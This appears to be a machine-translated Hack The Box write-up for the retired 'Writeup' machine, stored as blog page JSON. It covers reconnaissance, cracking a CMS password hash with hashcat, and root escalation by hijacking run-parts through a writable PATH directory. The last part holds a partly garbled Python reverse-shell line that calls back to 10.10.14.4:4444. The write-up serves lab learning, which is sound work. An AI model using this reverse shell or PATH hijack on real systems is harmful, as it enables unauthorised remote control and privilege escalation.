{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-writeup-en","result":{"data":{"markdownRemark":{"id":"697ae2fb-9707-52b1-9aea-3cb214c25e94","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am learning about security using “Hack The Box,” a penetration testing learning platform.\nAt the time of writing, my rank on “Hack The Box” is ProHacker.

\n\n \n /etc/hosts\nnmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt\n# All ports\nnmap -p- $RHOST -Pn -sC -sV -A | tee nmap_max.txt\n

Port 80 appears to be open, so I checked it.

\n
PORT   STATE SERVICE VERSION\n22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)\n|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)\n|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)\n80/tcp open  http    Apache httpd 2.4.25 ((Debian))\n|_http-title: Nothing here yet.\n| http-robots.txt: 1 disallowed entry \n|_/writeup/\n|_http-server-header: Apache/2.4.25 (Debian)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
\n

The part that caught my attention here was the following.

\n

It appeared to be configured so that user agents would not access writeup.

\n
http-robots.txt: 1 disallowed entry \n|_/writeup/
\n

Reference: What is a ‘disallowed entry’ when nmap scans through the Robots.txt file? - Stack Overflow

\n

The robots.txt file looked like this.

\n
#              __\n#      _(\\    |@@|\n#     (__/\\__ \\--/ __\n#        \\___|----|  |   __\n#            \\ }{ /\\ )_ / _\\\n#            /\\__/\\ \\__O (__\n#           (--/\\--)    \\__/\n#           _)(  )(_\n#          `---''---`\n\n# Disallow access to the blog until content is finished.\nUser-agent: * \nDisallow: /writeup/
\n

When I accessed port 80, the following page was displayed.

\n

\n \n \n \n \n \n \n \n \n

\n

While I was at it, the writeup page also displayed normally for some reason.

\n

I had assumed access was restricted by robots.txt, but there did not seem to be any actual access restriction.

\n

\n \n \n \n \n \n \n \n \n

\n

Looking at the contents, it seemed to contain writeups for several HTB machines.

\n

However, the writeup for this machine was only partially written and did not contain any useful information.

\n

Also, when I tried enumerating with gobuster, it returned an error, and after that I could not even access the site in my browser for a while.

\n

It seems some sort of DoS protection was in place, apparently monitoring for 4xx errors.

\n

The Writeup page was accessed using a GET query like the following.

\n

Example: http://10.10.10.138/writeup/index.php?page=ypuffy

\n

Obtaining User

\n

My guess was that it was retrieving text from the server by setting a file name in page=.

\n

However, I was not able to make progress with enumeration here.

\n

Next, from the page source I learned that it was using CMS Made Simple, so I tried several exploits against it.

\n

\n \n \n \n \n \n \n \n \n

\n

After formatting the output salt and password hash as $hash:$salt and cracking it as md5($salt.$pass), I was able to recover the password.

\n
$ hashcat -a 0 -m 20 ./hash /usr/share/wordlists/rockyou.txt
\n

Using this password to connect over SSH allowed me to obtain user access.

\n

Privilege Escalation

\n

With pspy running, when I triggered fail2ban I confirmed that the following task was executed.

\n
PID=22658  | iptables -w -I f2b-apache-404 1 -s 10.10.14.4 -j REJECT --reject-with icmp-port-unreachable
\n

Since fail2ban appeared to be running with root privileges, I investigated whether I could use that as a starting point for privilege escalation. However, even after checking the configuration files and permissions under /etc/fail2ban, I could not find anything useful.

\n
$ cat /etc/fail2ban/jail.local \n[INCLUDES]\nbefore = paths-debian.conf\n\n[DEFAULT]\nignoreip = 127.0.0.1/8\nbantime  = 120\nmaxretry = 10\n\n[sshd]\nenabled = true\n\n[apache-404]\nenabled  = true\nport     = http\nfilter   = apache-404\nlogpath  = /var/log/apache2/access.log tail\nmaxretry = 30\n\n$ cat /etc/fail2ban/filter.d/apache-404.conf \n[INCLUDES]\nbefore = apache-common.conf\n\n[Definition]\nfailregex = ^<HOST> .* 40[1234]$
\n

At this point, the linpeas output showed that the current user belonged to various groups.

\n
$ id\nuid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
\n

Based on that result, I used the find command to look for writable targets owned by root whose group matched some of the groups that seemed interesting.

\n
$ find / -user root -group jkr -ls -writable 2>/dev/null\n$ find / -user root -group staff -ls -writable 2>/dev/null\n      189      4 drwxrwsr-x   2 root     staff        4096 Jun  3  2018 /var/local\n   131445     20 drwx-wsr-x   2 root     staff       20480 Apr 19  2019 /usr/local/bin
\n

The linpeas output also showed that /usr/local/bin had been added to PATH.

\n

\n \n \n \n \n \n \n \n \n

\n

However, even looking at the pspy output, most commands specified binaries under /usr/bin and elsewhere using full paths.

\n

The only exception seemed to be run-parts --lsbsysinit /etc/update-motd.d, which was executed without a path when logging in over SSH.

\n
$ sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
\n

Because PATH included /usr/local/bin, I thought I should be able to execute arbitrary commands by writing a file containing my command there.

\n

\n \n ((\\\"10.10.14.4\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\" > /usr/local/sbin/run-parts; chmod +x /usr/local/sbin/run-parts\n

Summary

\n

I think this machine had a lot to teach.

\n

It was especially educational regarding group and user permissions, which I had previously been handling more by intuition than understanding.

","fields":{"slug":"/hackthebox-linux-writeup-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-08-10","description":"A writeup of the retired HackTheBox machine \"Writeup\".","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Writeup (Easy/Linux)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-writeup-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}